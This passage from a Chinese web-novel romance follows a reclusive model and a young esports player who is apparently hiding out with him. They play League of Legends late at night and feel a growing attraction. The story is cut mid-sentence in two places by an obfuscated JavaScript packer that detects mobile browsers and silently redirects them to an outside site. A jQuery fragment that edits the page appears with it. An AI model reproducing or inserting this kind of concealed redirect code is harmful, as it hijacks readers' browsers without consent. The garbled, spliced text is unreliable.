所以郑子蓓会隔三差五找各种借口把人约出来吃饭,也鼓励许逐意去谈恋爱。“把路边的高中生捡回家”这种事能被许逐意做出来,虽然很难以置信很不安全很夸张,但也不是不能理解。 “等他走了,我陪你去救助站看看,领养一只小狗吧。”郑子蓓边扒饭边说。 许逐意安静咀嚼着口中食物,沉默了一会儿,慢慢说:“行吧。” 这个话题就暂时结束了。就餐后半程郑子蓓又跟他聊起自己最近在追的第九位女嘉宾,还控诉他上次不回自己消息。 “你觉得那个女生对我有意思吗?”等待许逐意结账走出店铺,郑子蓓很真挚地问。 许逐意给汤挽宗发去一个“回来了”,被肆虐的夜风吹得夹紧肩膀,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他稍稍斜了点视线,看着汤挽宗与自己并肩,低头,微微躬身,小心且体贴地提问:“我打扰到哥哥了吗?” 许逐意说:“没有。”说完紧了紧身上的外套,转眸看路边的车水马龙。 外套是汤挽宗一路抱过来的,虽然已经穿上有一会儿了,他却感觉还能从中感受到少年人残留的体温。夜风仍然很大,却不觉得冷了,汤挽宗和他并肩走,胳膊却始终保持着距离不碰到他。 “但哥哥的表情好像不是很开心。”耳边又传来低低的轻轻的话音。 汤挽宗很有分寸地说:“不喜欢的话,我下次不做了。” 下次。 许逐意有点走神地想,如果训练领养的流浪狗这样出门给自己送衣服,是不是太过于天方夜谭? 他说:“没有不开心。” 说完转头向男孩看去,虽然没有笑,但很认真地用目光传递了自己的情绪。 汤挽宗喃喃:“噢,那就好。” 走向地铁站的这条街还算热闹,路边有小摊小贩,自行车和电动车也几乎停满。 许逐意走在前面,高高瘦瘦一个,短款外套正显出比例很好的腰线。他注意着和所有过路的行人保持距离,擦肩时也会先一步侧过身,肩膀与脖颈的线条拉成一个弧。 汤挽宗就一直不远不近地跟着。 途中还经过一家宠物店,玻璃的橱窗上是一个个隔开的小房间,关着不同种类的幼犬。幼犬一些在睡觉,一些在自娱自乐,一些看见过路的人就摇尾巴,好像很渴望被带回家。 前方的许逐意这时忽然驻足,转头面向玻璃。 他看了一会儿橱窗里关着的小狗,伸手,无声无表情地和一只朝自己疯狂摇尾巴、还拱玻璃的小边牧打了个招呼。 小边牧吐着舌头,一双灰蓝色的圆眼睛眨巴眨巴看着他,水汪汪的,看上去很乖也很听话。 “哥哥想养小狗吗?”汤挽宗说。 许逐意愣了一下,反应过来自己好像不小心忽视了身旁的少年。 回过头,撞进人深灰色的、和小狗一样水汪汪的眼睛。 他没马上回答,因为自己也没想好到底要不要。 但汤挽宗好像很认真地在帮他考虑,又问他“喜欢什么品种的”。 明明嘴上温柔地说着替他考虑的话,人又走到他面前,稍稍拉下口罩,高大的身影完全严实遮挡住他看那只小边牧的视线。 他于是只能看见他。 深灰色的眼睛,乖巧却又隐隐有点可怜的表情和脸。 ……不,不喜欢。 许逐意不喜欢狗。 他倏地别过头,躲开汤挽宗落在自己脸上过于直白和单纯的灼灼目光,平静的心跳突然有一瞬错了节拍,慌乱中下意识抓起少年手腕,胡乱将口罩拉回人脸上,从宠物店橱窗前快步离开,头也不回。 “回家吧,”许逐意说,“……饭要凉了。” 10.输赢的心情 【你捡的真的是高中生吗?】 【个子那么高,出门还带口罩鸭舌帽遮那么严实,感觉气场也凶凶的……不会是什么十八线落跑明星吧?】 【喂,说话】 【为什么我总感觉他不像普通高中生?】 【……因为他本来就不是高中生】 【那他是什么人?】 【不知道,无业游民吧】 【。。】 许逐意看着郑子蓓发过来的两个句号,不知道回什么,从聊天窗口切出去。 到家有段时间,汤挽宗已经吃完晚饭,进了浴室冲洗。 许逐意洗完躺在自己卧室的床上,满脑子都是在宠物店前面,汤挽宗认真问他是不是想养狗的画面。 看着天花板,许逐意叹出口气。 他把手机又拿起来,微信列表往下翻,翻到汤挽宗的头像,点开了汤挽宗的朋友圈。 汤挽宗是个什么样的人呢?——许逐意并不清楚,下意识又开始分析——只是觉得男孩身上莫名的有种亲切感,人也好相处,对他似乎有种知无不言的信任。 如果许逐意追问那句“家中的事究竟是什么事”,汤挽宗应该也不会拒绝回答,只是他没问。 但汤挽宗朋友圈里的内容少得可怜。除去去年生日发过一张蛋糕图片,还没有配文,剩下的一些内容基本上是随手拍的风景照片。 有春天时候落雨的屋檐、夏天窗外逆光的树影、秋天灰色地砖上散落的银杏叶,和冬天看到的雪。明明游戏打得不错,人也长得好看,但从没发过这两方面的内容。 频率也是基本上隔几个月才更新一条,从五年前的一个冬天开始发的,很快就滑到底了。 能感知到的信息并不多。 来来回回把人朋友圈看了两遍,许逐意丢掉手机,把汤挽宗从自己脑海中赶出去,打算睡觉。 卧室门却在这时被人敲响。 “叩叩。” 突如其来的动静让许逐意一愣,从床上翻身起来看向那扇门。门那边的人耐心等待几秒,大概是见没动静,又敲了第二次,“叩叩。” 许逐意去把门打开:“怎么了?” 他开得很快,汤挽宗大约没料到这速度,不由得往后退一步,睁着双大眼睛呆呆问他:“……还、还打游戏吗?” 时间已经不早了。 虽然卧室开着灯,但客厅已全然是被夜色吞没之景,房间像沉在海水中的船,落地窗外荡漾开朦胧的月色。 墙上挂钟提醒着许逐意现在是平时的睡觉时间。 可他想了想,做出和昨天相反的决定:“打。” 又道:“……不过也到睡觉时间了,你不方便的话就算了,没关系。” 汤挽宗马上说:“不会。” 半夜打排位是他再熟悉不过的事。 “那走吧。”许逐意也不知道自己为什么选择这样,脚和脑子好像临时换了指挥的司令,一个迈向书房,一个在碎碎念“这是睡觉时间”。 到电脑桌前坐下,余光里汤挽宗照常拖了椅子靠过来,许逐意熟练地启动主机,点开游戏图标。 输入账密之前,他还是忍不住问一句:“你真的不打吗?” 除去捡到汤挽宗第一天看见这人Solo的那手狐狸之外,许逐意就没见汤挽宗打过游戏,问过也都被拒绝了。 这次也一样的,“不打。”汤挽宗说。 表情倒是挺认真盯着电脑,等他登录。 “哦。”许逐意搭在键盘上的手指没动,“那我很快就会超过你的。” “嗯。”汤挽宗对他这句话倒是有反应,看过来,勾了勾嘴角道,“哥哥尽管超。” “……”许逐意感觉自己似乎无端被挑衅了一下,心一跳,眉头微动,不说话,手指飞快地输入账密。 原本计划明天再打匹配,但今夜心血来潮,在明明该休息的时间坐到了电脑前面,许逐意也就不管那么多别的了。 昨晚乃至今天白天的人机几连胜让他重新找回对这游戏操作的自信,感觉自己的水平切实有了进步,或许马上可以摆脱“菜鸟”称号,为了直观地体会,当然是要跟真人来场5V5。 然而一进入游戏,他就恍然发现自己天真了。 人机和真人的水平差距完全远超他想象。 为什么没有人提醒过他? 许逐意闷头狂杀,键盘鼠标点得噼里啪啦响,仿佛快把桌子都戳穿了,二十多分钟后就因队友受不了投降迎来第一把DEFEAT。 战绩0/22/8。 “有八个助攻啊,”汤挽宗在一旁看他的数据,由衷道,“进步了。” 还安慰他:“这把是你队友太菜,不能怪你。” “……”许逐意扭头看他。 电脑把男人面无表情的脸照得半边亮半边暗,看起来阴沉沉。 “这把不算。”他看了汤挽宗几秒,把人看发毛了,收回视线,语气平静地说着,点下第二把匹配。 然后还突然冷漠地指责某个在上一把完全一声不吭的人:“你都不教我该怎么做,汤老师,困就去睡觉。” 说完许逐意就又瞥一眼旁边的人。 有点后悔了,这句把人赶走一样的话汤挽宗当真了怎么办。 许逐意不动声色地深呼吸,试图将因游戏而起的不高兴压抑下去。 但汤老师的声音不紧不慢传来:“我只是想看哥哥学到了多少。” 他从善如流地带上几分歉意,语气温柔,像没听见许逐意话里的生硬:“我不困,下把会出声的,别赶我走嘛。” “……”许逐意顿觉指尖有点发麻。 半晌才挤出一句:“没赶你走。” 余光里,汤挽宗对他弯弯眼睛,“嗯”了声。 为表诚意,下把游戏开始前他还特意伸过手,帮许逐意调整了阿狸的符文。 许逐意调整好心态继续游戏。 然而实力摆在那里,中路总是被突破就根本没有办法胜利。 即便边上坐着个水平不错的老师口头指挥。 他还是再次喜提两把连败,一把战绩3/15/7,一把战绩1/18/1。 1/18/1的第三把还被对面中单各种玩弄挑衅,几次灰屏许逐意都能看见那个残血或还剩半血的塞拉斯各种跳舞犯贱发表情,然后大摇大摆地回城补给。 这种不舒服的感觉简直跟捡到汤挽宗的那天下午一模一样。 许逐意完成战绩结算,盯着屏幕散几秒神,木着脸把鼠标松了。 然后一声不吭地下意识想起身,想下楼走走,散散心。 耳边却在这时传来一声:“哥哥。” 要起身的动作一滞,许逐意循声回头。 汤挽宗看着他,试探地问:“要去睡觉吗?” 言下之意就是“你还玩吗”,不玩的话今晚两人相处也就到此结束,各自回房。 许逐意其实是暂时不想玩了的,可不知怎么,对上男孩那双被显示器照得亮晶晶的眼睛,刚站起的身体又坐回电竞椅里:“……不去。” 说完感觉心中泛起的坏脾气好像突然被一团棉花吞噬,他闷闷往椅背上一靠。 “那要不继续打人机吧。”汤挽宗便不再提睡觉一事,顺着他道,“一直输确实会让心情很不好,也容易让人对这游戏感到厌烦。” 很多接触过英雄联盟又放弃的人就是这样的,因为操作太难学不会、因为尝不到胜利的喜悦。 许逐意不好容易才对英雄联盟这个游戏有了一点点喜欢,好不容易才终于感觉到学会的乐趣。都还没到真的完全爱上呢,也没到因为喜欢这个游戏,开始想要了解更多的地步。 如果在这种时候就让他对游戏失去耐心,那多得不偿失。 显示器惨白的光线照在许逐意脸上,像结了层霜,跟汤挽宗站在路边看到男人望向宠物店橱窗时的表情一样。 哥哥要养小狗吗?——是在考虑把他送走之后要干的事了吧。 会不想再学英雄联盟了吗?——那他岂不是还没被了解就已经被讨厌了。 被扔远的鼠标又让人捡回来,光标在屏幕上无序地滑动。 “先赢两把回来再说。”汤挽宗道。 “……不用,”许逐意却吸了口气,调整坐姿,眉眼平静地松弛开来,干脆重新按下匹配键,沉声,“就打匹配。” 半夜打游戏的人多,他很快就又排进去,来到选英雄的环节。 周围静了一瞬,而后少年的声音才慢慢重新响起,没了刚刚好言相劝的语气:“……一直输,你不会不想玩吗?” 加载画面能看出来对面的人或多或少都打过排位,许逐意这边的队友也基本有段位。他孤孤单单一个没框的名片摆在所有人中间,每个角落都仿佛写着“我是新手我很菜”的字眼。 没有人玩游戏能一直输还不破防的,在一件事情上付出却得不到好结果、没有正反馈,会很难产生坚持下去的决心。 汤挽宗很懂这种感觉,几乎能完全感同身受此时许逐意的感受——毕竟,Woof队输了快整整两年。 但许逐意因为心情莫名其妙很快被哄好了,来不及想放弃的事,所以用没什么起伏,也没什么情绪的口吻说:“想赢。” 短短两个音节落下,汤挽宗张了张嘴,又默默合上了。 许逐意已经再次投入新的一局游戏,也不再说话,操纵阿狸来到中路,插眼、对线、消耗。 再面无表情地被敌方路过的打野抓到机会,2V1输掉,屏幕染灰。 然后打开商店购买装备,等待复活,再次从水晶出发。 看着他灰头土脸又不服输,汤挽宗不自觉想起来自己曾经好像也说过这种话。 “一直输只会让我更想赢”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900062|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十六七岁不知天高地厚的宣言划过脑海,他突然很轻地笑了一声。 不自觉坐得离许逐意近一点点,汤挽宗低低道:“你不去打职业真可惜。” 许逐意忙不迭地操作,闻言淡淡一挑眉:“这是什么话?” “哥哥比Zone厉害多了。”汤挽宗说。 此话一出,许逐意抽空瞥他一眼:“……怎么可能,把我和Zone放一起比较也太失礼了。” 汤挽宗趴到桌面上,垂下眸,不以为意地耸耸肩:“实话。” 又小声嘀咕:“Zone就是一个输了就躲起来不敢再赢的胆小鬼而已。” 许逐意不知道这小子短短几秒钟又想了些什么乱七八糟的。 他记得汤挽宗不喜欢Zone这个选手,原因不详,但和祝扬的态度简直天差地别。祝扬把Zone当神,汤挽宗却说Zone什么也不是,还对人家有种莫名其妙的敌意。 “对面打野可能又来越你了,小心。” 走神之际,耳边响起的话音让许逐意重新集中注意,他又瞥一眼旁边趴在桌上的少年,半耷拉着眼皮的汤挽宗看起来乖乖的,又有点心不在焉。 许逐意不知道他在想什么,但总觉得汤挽宗的表情里藏着点不易被觉察的失魂落魄。 他冷不丁道:“其实刚刚,我也已经不想玩了。” 游戏在继续,许逐意操作没停,只能用余光去注意汤挽宗的表情,语气冷静:“但又觉得你还坐在这里,继续玩也不是不可能赢。” 汤挽宗没应,空气沉静片刻,许逐意又说:“输了沮丧很正常,何况把赢看得比常人重要很多的职业选手。但心态是可以调整的,Zone躲起来,说不定也只是在调整心态而已,不是胆小。” 波澜不惊的一番话说完,许逐意还是被越塔成功,又死了。 屏幕一灰,他就扭头去看趴在那默不作声的汤挽宗。 和抬眸看过来的少年正好对上视线。 空气沉默几秒。 “哥哥,”汤挽宗突然开口,一脸单纯地问,“如果Zone调整好赢下了明年的比赛,你会想去了解他吗?” “……不会吧。”许逐意不懂他为什么这么问,也并没有表现出对Zone产生更多兴趣,“他的输赢跟我有什么关系吗?” 此话一出,趴着的少年垂眼,又不说话了。 许逐意不知道他在想什么,游戏中的自己差不多要复活,他调整姿势准备继续战斗。 良久才想出一句挽回气氛的补充:“但如果你输了,我可以安慰你。” 话音落下,却没有得到回答。汤挽宗趴在旁边似乎睡着了。 书房重新安静下来,只剩键鼠的声音。 匹配还是很难赢。 许逐意又连着打了两把,最后一把终于险胜,战绩3/11/7,能赢还多亏对面中单跟他水平一样臭。 看着VICTORY在屏幕上跳出来,许逐意还是很开心的。 他绷着脸,不声不响突然从电竞椅上起立,木桩似的歘一下立在电脑前,还碰到了趴在旁边的汤挽宗,把汤挽宗吓一跳,坐起来。 “抱歉,”许逐意赶紧低头检查有没有把人哪里撞到,手搭人肩上,解释道,“我终于赢了一把,有点开心。” 他们距离一下靠得很近,汤挽宗闻言一愣,清醒过来,瞥到电脑屏幕,表情从呆滞一点点变成欣喜:“……厉害。” 他说,还下意识捏住许逐意搭在他肩头的手,显示器冷冰冰的光在那双眼睛里融化,流进许逐意眼底。 “真的很厉害,哥哥。”汤挽宗又很认真地夸一句。 他脸上看不见一点不高兴的样子,语气也和之前敷衍的时候很不一样,像是由衷地替他感到开心。贴在许逐意手背上的掌心热热的,仰起的脸乖顺生动,脸上还有几块没来得及掉落的血痂。 之前不高兴的情绪被接住,此刻开心的情绪也一样被认真地捧起。 汤挽宗好像有种洞察人心的天赋,很知道他需要怎样的回应。 许逐意下意识抽回手。 他看着那双眼睛,不自觉有点飘飘然,又似乎有点别的什么情绪充斥在心里,所以表情僵硬、干巴巴只说了句“谢谢”。 然后注意到时间不早,才发现自己居然因为“想要陪伴”的自私心情拖着汤挽宗熬了夜,耳根渐渐热起来,他偏过头说:“……那赶紧回房间睡觉吧。不早了。” 说完就转身。 衣角却倏地被人拉住,许逐意脚步一顿,回头看见汤挽宗仍然是自下而上仰视他的模样,圆圆的脸颊肉柔和了被显示器光线勾勒得冰冷的脸庞。 他问他:“哥哥,明天有时间吗?” 许逐意突然不自觉地结巴:“怎、怎么?” 男孩眯了眯眼睛,抿抿唇,好像有点不好意思,又带着点期许地说:“我想和你双排。” 11.穿堂风 时间是有的。 因为许逐意本就是个非常宅不爱社交的性格,加上职业自由度大,他从不把自己逼很紧,工作安排得也较为分散。 原本计划是明天应该找时间把前段日子累积的视频素材剪一剪,然后更新社媒号,但看样子计划又要泡汤了。 有时间,但家里电脑只有一台。 所以他们也许得去网吧才行。 “但……你身上没有身份证,开不了两台机子。”许逐意想到这,有点犯难,“只能我去网吧给你开一台,然后我再回家。” 汤挽宗却摇摇头:“不用那么麻烦。” 对话只说到这里。 汤挽宗没说“不用那么麻烦”的话那应该怎么解决,许逐意追问也没有得到结果。 男孩只是困倦地打个呵欠,轻柔了语气跟他说:“先去睡觉好不好,哥哥?好困啊。” 许逐意跟着也打了个哈欠,甚至忘记明明刚刚急着走的人是自己,说:“好吧。” 二人各回各房。 熬夜接踵而至的后果就是生物钟紊乱。 由于游戏打到凌晨快三点才下机,这一觉许逐意昏昏沉沉睡了十个小时。 睡到下午快两点钟才醒。 一看时间把自己吓一跳,许逐意满脑子都是“睡到这个点汤挽宗该饿死了吧”,来不及整理睡得凌乱的睡衣和头发就开门出去。 “汤挽宗——”话音混着慌乱的步调。 停在卧室门口。 “……汤挽宗?”许逐意声音小下来,目光略过空无一人的沙发,环顾四周。 没醒吗? 他轻手轻脚地往客卧门前走,路过玄关,却瞥见家门开着条小小的缝,步子一僵。 汤挽宗跑出去了。 深秋。晴天。下午。 降温且风大。 穿堂风把门猝不及防吹得大开,经过窗台,光影笼罩,将周围分割成明暗清晰的两面,暗面又吞掉身处其中之人的表情,只见被风卷起的发丝。 “卓宣,把东西给我。” “……”车里的少年将怀中之物抱紧。 他怒视着自己对面站在树荫下的那个人,咬牙低呵:“凭什么你要就给?” 眼看对方对他的反抗无动于衷,又恨恨说:“借完老子账号又要借电脑,还非要别人在休假能赖床的下午千里迢迢给你送,汤挽宗,你他妈到底什么意思?不归队了?真打算死外面了?” “……你说话怎么还是这么难听。”插兜站在树下的汤挽宗微微皱起眉头。 对面的人不是许逐意,他表情和语气都降温,摆出平日在队里的样子,有些无语地叹口气:“要不是杨绵没时间,我也不会麻烦你。” 卓宣极度不爽地发出一声:“哈?” 他果然被激怒,瞪着汤挽宗的眼睛像是要喷出火:“你一个中单莫名其妙找打野借号就算了,借打野号找辅助顶屁用?杨绵那家伙的国服小号根本没几个打野英雄!” 汤挽宗轻飘飘看向旁边,轻飘飘地陈述:“但问你你又这么不乐意。” “谁说我不乐意!杨绵说的?”卓宣马上被激将成功,“他又出卖我?!” “乐意还不赶紧把东西给我?”汤挽宗趁机伸手,嘴角勾起一点得逞的笑,“再磨蹭我就给杨绵发消息告状了。” “……嘁!”卓宣这才反应过来自己被套话,很不爽,把怀中电脑包扔垃圾一样扔给汤挽宗,扭头对司机道,“走吧高叔!回基地。” 汤挽宗熟练地稳稳接住电脑,眯眼跟他挥手,不忘贱兮兮地挑衅:“我勉强会跟小绵说你今天很乖的。” “……汤挽宗你管好你自己行不行!”卓宣烦得根本不想理这坨脸皮巨厚目无纪律还没个正形的臭狗屎,“砰”一声把车门甩上,又摁下车窗,“天天这么欠了吧唧的不听话净知道惹人讨厌……有本事听人把话说完再走啊!!” 汤挽宗充耳不闻,对卓宣的恶言满不在乎,头也不回大步流星地走了,还拿出手机看时间。 ……希望许逐意还没睡醒。 穿堂风冷得很。 许逐意把自己裹在毛毯里,缩在沙发上,手中抱一杯热水。 他不自觉地放空发呆,客厅内一如往常到处丢着许逐意的东西,但不同于之前乱糟糟的样子。它们都被人重新整理过,变得有秩序,但又能看出来整理的人尽量地保持了原样,东西基本都摆在本就在的地方没动。 许逐意鬼使神差地手一伸,把边上摆着的企鹅布偶碰到了地上。 目光跟着企鹅走,瞥到玄关那双新买的拖鞋,那是整个客厅里唯一属于汤挽宗的物品。 许逐意忽然才发现这个人虽住下了,暂时地成为了他的室友,但把这个家的环境保持得很好,随时离开都不会马上被察觉。 ……但这种情况明明也是正常的吧。 ——门掩着,说明汤挽宗并不打算出去太久,应该很快会回来。但是人并不在楼道里。 可能下楼了,毕竟自己捡的不是小猫也不是小狗,不是任何小动物。一个十九岁的活生生的少年,在他没起床的时候想下楼走走没什么不对的,因为不知道他家的密码所以掩着门也没什么不对的。 这都很正常。 ……可是,为什么会觉得有点失落,或者说不开心呢。 许逐意直愣愣抿了口杯中的水。 真奇怪。 就像昨天晚上他被汤挽宗仰视就突然结巴了一样,真奇怪。 水一口一口地下咽,不知不觉半杯入腹。 温度有些凉了,许逐意晃晃杯子,打算起身再接一点,忽然听见门口传来一声不大的,电梯到达的声音。 刚伸出去的脚又马上收回来。 他回头。 正好与进门的汤挽宗四目相对,后者见他坐在沙发上,先是愣了一下,随后很快地脱鞋关门来到他身边,拖鞋都来不及穿,蹲下,再次像昨晚一样地仰起头来看他。 “哥哥什么时候醒的?” 许逐意目光默默从人脸上挪开,看向汤挽宗手里的电脑包,没出声。 “我趁我爸不在家……回去了一趟,拿来了电脑。”汤挽宗观察到他视线落点的变化,面不改色地用谎话解释,“感觉能在你睡醒之前回来,就没跟哥哥说。” 汤挽宗出去时没穿外套,此刻身上裹着层外面带回来的寒气。他没敢碰许逐意,甚至有意地保持了一段距离,怕寒气冷到毯子底下罩着的瘦巴巴的人。 “你妈妈呢?”许逐意很平静地问,语气可以说听起来跟平常没什么两样。 “不在家,还没回来。”汤挽宗答,“她……出差。” 他喉结微不可见地上下滚动了下,又说:“……我溜回去的,因为怕被发现,所以拿到电脑就立刻回来了。” 汤挽宗自认为这个谎话很拙劣。 抱电脑包的手因此不自觉握紧。 片刻沉默过后,沙发上把自己裹成粽子的家伙动了动,站起了身。 蚕丝睡衣罩着男人薄薄一片的肩膀,袖口因端着杯子的动作滑到小臂,露出一截白晃晃的、细伶伶的腕骨。 汤挽宗看着许逐意走进厨房,倒了两杯热水,然后趿拉着拖鞋走到书房门口,对他说:“来双排吧。” 又扫一眼他只穿了袜子的脚:“把拖鞋穿上。” 然后转身先进去了。 汤挽宗闷头去玄关穿拖鞋,背后又响起许逐意慢吞吞的脚步声。回眸看过去,见男人打开冰箱拿出食材,又熟练地做起三明治,做了两份。 许逐意端着两份三明治,再次从汤挽宗面前飘过,身影消失于书房门口。 他赶紧 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汤挽宗吸一口气,这才敢偷偷观察许逐意的表情,试图补充自己的回答:“我下次不会了。” 许逐意把脸偏得更过去一些,几乎用后脑勺对着他,“嗯”一声。 “……哥哥。”汤挽宗的声音小下去一点。 许逐意半敛眸,不说话,汤挽宗也不说话书房就陷入沉默,他不想表现出心里的那一点点不高兴,太不成熟、太幼稚了,可又总觉得已经被汤挽宗看出来了。 撑在下巴上的手指默默收紧,许逐意无声无息叹出口气。 ……算了,不要再想了。 这样暗示过自己,许逐意放下抓下巴的手,打算重新看向电脑屏幕准备打游戏。 但袖子上又传来熟悉的拉扯的力道。 他一顿,转头,看见男孩趴在桌面上,枕着一只胳膊,另一只则轻轻拉着自己,表情委屈,语气也软,对他说:“你别生气。” 蓬松的刘海散落,半遮了男孩眉眼,柔和了他脸部英气的轮廓。 书房窗外是夕阳,窗内是温暖的空气。 许逐意从小就是安静话少的孩子。 不爱坦露内心,情绪也总是淡淡的,因此被郑子蓓称为机器人。 他认为自己此刻只是有点不开心,并不是在生气——如果汤挽宗不说出来的话。 看着少年的脸,许逐意张了张口,却突然哑了。 他怀疑汤挽宗是不是知道自己这样很可爱,知道这样会让他感觉到心软。这叫撒娇吗? 为什么,居然有人可以光是用眼睛对视,就轻而易举能把人的不开心融化。 大概是看许逐意无动于衷,趴着的男孩小幅度动了动。 夕阳随着动作在他泛红的耳尖荡漾开,蔓延到脸颊,着色了发梢,他小声地,求饶一样又叫了一句“哥哥”。 话明明不是贴着耳朵说的,许逐意却感觉耳朵开始发痒。 “我没……生气。”他略无力苍白地反驳。 “真的?”少年有一瞬微微睁大眼,单纯且认真地确认。 随即用特别温柔体贴的语气,压低声音说:“生气也没关系,哥哥直接说,或者骂我就好了。” 许逐意没跟人这样对过话,一下子不知道怎么回才好,半天才找到自己舌头的位置,用残存的意识挤出一句平静的回答:“真的。没生气。” 说完就想别过头,余光中那人却追过来。 “嗯……”汤挽宗点头,和他一动不动地对视,像在仔细分析他话中的真伪,几秒后松口气,嘴角牵起一点甜甜的笑,由衷道,“那就好。” “……”许逐意有点没辙,也有点不会了。 他盯着电脑屏幕,有些机械地随便操纵鼠标,半天才从喉咙里挤出一声有点沙哑的“嗯”。 12.胡思乱想 职业选手一般都有好几个账号。 汤挽宗平时在队里训练,打排位都用的韩服号。国服也有一个号,两个号的段位都很高,国服号虽然最近很久没怎么打,但隐藏分应该也很吓人,不适合和许逐意一起玩。 好在他们队打野号多,一个国服就有三个小号。其中一个ID为一串乱码的小号没怎么打过排位,但英雄却不少,据说是创建起来给亲妹妹玩的,现在妹妹去上学了,被汤挽宗借来打。 许逐意的英雄联盟ID取得很简单草率,乍一看跟一串乱码有异曲同工之感,就叫xxxzzzyyy,有点像坐标系。 得到那声回答后汤挽宗立刻熟练地跟他加上好友,拉他进队伍,开始匹配。 但许逐意心不在焉,连游戏什么时候开的都不知道。 操作全凭肌肉记忆,脑子好像被架空了,一直在走神,对着屏幕发呆,一旦回神眼前就闪过刚刚汤挽宗趴着看自己的模样。 ……不舒服。 很不舒服。 于是他决定暂时不用脑,打成什么稀烂样……也无所谓了。 不过汤挽宗的水平确实是不打不知道,一打吓一跳。 即便许逐意全程游离局外,对他发出的一些“这波可以越”“帮我看眼河道蟹”“对面打野可能来抓你退后点”指令无动于衷,他也照旧carry得很轻松。 前期稳定地从上往下刷,路过中路总会恐吓下对面,帮忙许逐意建立一波优势再走,人头能让的尽量都让了。 所以比起一个人打,双排许逐意不仅打得没那么累,战绩没那么难看,并且还能赢。 游魂一样的第三把结束,VICTORY显示在屏幕上。许逐意木木地点掉,重新回到队伍界面,耳边传来汤挽宗的询问:“哥哥还想打吗?” 看样子是看出来了他的状态不在线。 许逐意毫不犹豫地摇头。 汤挽宗从善如流地解散了队伍,继续询问:“那要去休息吗?” 许逐意又毫不犹豫点头。 末了,觉得自己这样有点太僵硬,他看一眼汤挽宗,热着耳朵,用非常冷静的表情丢下一句“你自己打会儿吧,我有点累了”,起身离开书房。 汤挽宗没有跟出来。 可能是很久没碰游戏,想通了什么,又可能是感觉到他想一个人静静,所以体贴地留出空间。 许逐意本该为这孩子终于找回一点对游戏的兴趣而开心的,毕竟自己前几确实为“汤挽宗为什么宁可坐着发呆也不打游戏”这件事思虑过。 但现在又觉得没那个心情替汤挽宗开心了。 他飘回自己的房间里,关上门。 不爱社交、不喜欢和人产生过多的接触,许逐意这几年都是这么过的。他渐渐都习惯了,一时间竟然有点分不清到底是因为社恐才突然紧张地心跳加速,还是有别的原因。 长得好看的男生他不是没见过,毕竟身在模特圈里。虽然平时他也不怎么去注意别人长什么样。 ……思绪突然乱糟糟的。 许逐意拿出手机翻微信列表,点开郑子蓓的头像。 想打字,却又在看见郑子蓓转发和女孩的聊天记录过来问自己“她对我到底有没有意思”后停住手。 他蹲在床边,沉默了一会儿,挪步到主卧外的小阳台。 关上落地窗门,久违地点了一支烟。 抽烟是母亲离世那年学会的。许逐意知道这是坏习惯,平时也克制,只有实在心情很烦的时候才会点一支。上次抽是捡到汤挽宗那天。 他抽得也慢,有一半烟是风吹没的,抽完后烟蒂踩熄,拿纸巾包起来,但不急着回屋,在阳台吹风散味,心情也逐渐冷静。 像是好友之间心有灵犀,郑子蓓这时候居然给许逐意发来微信。 打开看,是一张乘坐地铁的图片,画面中央的一个男人坐在座位上,低着头只能看见后脑勺,手机里在放英雄联盟比赛。 【世界真小,居然在地铁上能偶遇你的前crush】 许逐意冷得把自己抱成一团,大图都懒得点开,手机放在膝盖上,手缩在袖子里只伸出一根指头打字。 【不算crush】 郑子蓓发过来一个皱眉张嘴的表情包。 许逐意猜这表情包的意思应该是:你啥意思。 【翻脸不认crush你这人】 【不是这样】 【没有心动过的也算crush吗?】 【……】 【行。】 郑子蓓又发了个潜台词是“懒得说你”的表情包,同时感叹。 【我这辈子大概是看不到你小子谈恋爱了】 “……”许逐意不知道他又在脑补什么,只根据字面意思回复。 【为什么】 【你知道自己什么时候会死了吗?】 【: )】 【我的意思是你这个出厂设置就忘记装恋爱程序的木头干脆单身到老死算了吧!】 许逐意花五秒的时间理解了一下这个长难句。然后回。 【哦】 回完等了会儿,没再有消息发过来。 郑子蓓不鸟他了。 许逐意习以为常,放下手机,感觉身上烟味散得差不多,他也有点受不住冻了,打算进去洗个澡。 换洗的另一套睡衣晾在阳台,只能走出卧室经过客厅到阳台去拿。 打开门就能听见书房里仍然传来键鼠的声音,汤挽宗孤零零坐在里面,打得很投入。 许逐意悄无声息走出去,脚刚踏入客厅,瞥到沙发上那只企鹅,又停住。 企鹅被捡起来了。不知道什么时候。 被穿堂风吹乱了的杂志和其他一些物品也被重新摆好。 许逐意不是个规整的人,东西喜欢乱放。 以前母亲会打扫家里,数落他这个陋习,而这几天他回家后脱下的衣服、乱放的东西,通常是汤挽宗懂事地捡起来或接过去,替他叠好、放好,动作熟练得仿佛做过无数遍一样。 ……可能这人有强迫症或者是洁癖吧。 许逐意将目光从堪称“焕然一新”的客厅收回,默默走向阳台。 脚步声不轻不重地回荡在客厅。 再重新走回卧室。 书房里一直对着操作的背影在关门声落下后停住。 汤挽宗回过头,盯着主卧门口,盯了少顷。 而后起身走过去,抬手敲了敲门。 周围安静几秒,门内传来浴室门开的声音,接着是脚步声,卧室门打开,许逐意身影出现在门后。 睡衣像是刚才穿回去,最上面的扣子没扣,露出一小片颈前的光景。 “……怎么了?”许逐意问他。 可能是被他僵硬的态度冷到,汤挽宗顿了顿,不动声色把目光挪到一边,低下头说:“我饿了,哥哥。” 哦。又忘记要吃饭了。 许逐意心虚了一下,调整自己冷冰冰的表情。他想了想,跟汤挽宗商量:“我洗完澡就做饭,好吗?” 汤挽宗不用想地点点头:“好。” “再去打会儿游戏吧。”许逐意说完,重新把门关上,听见门口的脚步声远去了,才回到浴室里。 